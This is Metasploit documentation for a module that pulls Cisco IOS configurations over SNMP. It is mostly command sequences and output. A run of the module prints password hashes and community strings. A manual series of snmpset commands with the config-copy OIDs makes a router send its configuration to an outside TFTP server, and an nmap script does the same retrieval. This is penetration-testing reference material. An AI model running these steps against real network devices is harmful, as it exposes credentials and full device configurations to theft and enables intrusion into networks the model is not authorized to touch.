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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/auxiliary/scanner/snmp/cisco_config_tftp.md
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Vulnerable Application

Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP. This is a well documented feature of IOS and many other networking devices, and is part of an administrator functionality. A read-write community string is required, as well as a tftp server (metasploit includes one). After the config has been copied, the SNMP parameters are deleted.

Verification Steps

  1. Enable SNMP with a read/write community string on IOS: snmp-server community private rw

  2. Start msfconsole

  3. Do: use auxiliary/scanner/snmp/cisco_config_tftp

  4. Do: set COMMUNITY [read-write snmp]

  5. Do: set rhosts [ip]

  6. Do: run

Options

COMMUNITY

The SNMP community string to use which must be read-write. Default is public.

Scenarios

Cisco UC520-8U-4FXO-K9 running IOS 12.4

msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run

[*] Starting TFTP server...
[*] Scanning for vulnerable targets...
[*] Trying to acquire configuration from 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:161 SNMP Community (RO): public
[+] 2.2.2.2:161 SNMP Community (RW): private
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed

Manual Interaction

This process can also be executed manually utilizing Metasploit's TFTP server. Cisco's documentation was utilized to create this process.

  1. Start the TFTP server

msf5 > use auxiliary/server/tftp 
msf5 auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/tftp) > 
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp

  1. Execute the SNMP commands. An integer is required to group the requests together, 666 is used in this example.

msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 

iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 

iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 

iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" 

iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" 

iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 

iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1

  1. At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove 666 from the system.

msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6

iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6

  1. Confirm we have our config file

msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
[*] exec: ls -lah /tmp/backup_config

-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config

Confirming using NMAP

Utilizing the snmp-ios-config script

nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
Nmap scan report for 192.168.2.239
Host is up (0.0034s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-ios-config: 
| !
| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
| !
| version 12.4
| parser config cache interface
| no service pad
| service timestamps debug datetime msec
| service timestamps log datetime msec
| no service password-encryption
| service internal
| service compress-config
| service sequence-numbers
| !
| hostname UC520
...sip...